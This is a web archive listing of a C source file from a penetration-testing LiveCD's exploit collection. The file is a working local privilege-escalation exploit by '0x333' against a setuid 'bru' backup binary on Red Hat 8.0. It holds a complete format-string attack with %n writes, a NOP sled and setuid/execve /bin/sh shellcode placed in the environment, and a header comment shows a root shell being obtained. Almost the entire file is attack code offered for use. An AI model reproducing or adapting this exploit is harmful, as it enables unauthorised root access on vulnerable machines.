home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / backup / bru / 0x333bru-fmtx.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  112 lines

  1. /*
  2. *  bru--format--root-expolit::^^)
  3. *   
  4. *  coded by nic
  5. * (c) 0x333 Outsiders Security Labs / www.0x333.org
  6. * test in redhat 8.0
  7. * bash-2.05b$ ls -al bru
  8. * -rws--x--x 1 root bin 165836 11├ª29 1999 bru
  9. * bash-2.05b$ id
  10. * uid=37(rpm) gid=37(rpm) groups=37(rpm)
  11. * bash-2.05b$ ./bruex
  12. * Use shellcode 0xc4ffff65
  13. * sh-2.05b#
  14. * ths : sam @ SST Group
  15. */
  16.  
  17. #include <stdio.h>
  18. #include <strings.h>
  19. #include <string.h>
  20. #include <stdlib.h>
  21. #include <signal.h>
  22. #include <unistd.h>
  23. #include <errno.h>
  24.  
  25. #define MAX_FMT_LENGTH 128
  26. #define ADD 0x100
  27. #define FOUR sizeof( size_t ) * 4
  28. #define HELL "./bru"
  29. #define OCT( b0, b1, b2, b3, addr, str ) { \
  30. b0 = (addr >> 24) & 0xff; \
  31. b1 = (addr >> 16) & 0xff; \
  32. b2 = (addr >> 8) & 0xff; \
  33. b3 = (addr ) & 0xff; \
  34. if ( b0 * b1 * b2 * b3 == 0 ) { \
  35. printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
  36. exit( EXIT_FAILURE ); \
  37. } \
  38. }
  39.  
  40. / shell by sam/
  41. char shellcode[]= 
  42. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  43. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  44. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  45. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  46. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  47. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  48. /* shellcode */
  49. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
  50. "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
  51. "\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
  52. "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
  53. int
  54. build_un( char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int
  55. offset, unsigned int base )
  56. {
  57. unsigned char b0, b1, b2, b3;
  58. int start = ( (base / ADD) + 1 ) * ADD;
  59. int sz;
  60.  
  61. OCT( b0, b1, b2, b3, locaddr, "[ locaddr ]" );
  62. sz = snprintf( buf, FOUR + 1, /* 16 char to have the 4 addresses */
  63. "%c%c%c%c" /* + 1 for the ending \0 */
  64. "%c%c%c%c"
  65. "%c%c%c%c"
  66. "%c%c%c%c",
  67. b3, b2, b1, b0,
  68. b3 + 1, b2, b1, b0,
  69. b3 + 2, b2, b1, b0,
  70. b3 + 3, b2, b1, b0 );
  71.  
  72. OCT( b0, b1, b2, b3, retaddr, "[ retaddr ]" );
  73.  
  74. return snprintf( buf + sz, MAX_FMT_LENGTH,
  75. "%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
  76. b3 - FOUR + start - base, offset,
  77. b2 - b3 + start, offset + 1,
  78. b1 - b2 + start, offset + 2,
  79. b0 - b1 + start, offset + 3 );
  80. }
  81.  
  82. int main()
  83. {
  84. int ret_addr;
  85. char buf[256];
  86. char *args[24];
  87. char *env[2];
  88.  
  89. ret_addr = 0xc4fffffa - strlen(shellcode) - strlen(HELL);
  90.  
  91. /* put in env */
  92. env[0] = shellcode;
  93. env[1] = NULL;
  94.  
  95. printf ("Use shellcode 0x%x\n", ret_addr);
  96.  
  97. memset(buf, 0, sizeof(buf));
  98. build_un(buf, 0x08070148, 0x97d7d741, 73 ,3);
  99.  
  100. args[0] = HELL;
  101. args[1] = buf;
  102. args[2] = NULL;
  103.  
  104. execve (args[0], args, env);
  105. perror ("execve");
  106.  
  107. return 0;
  108. }
  109.  
  110.  
  111.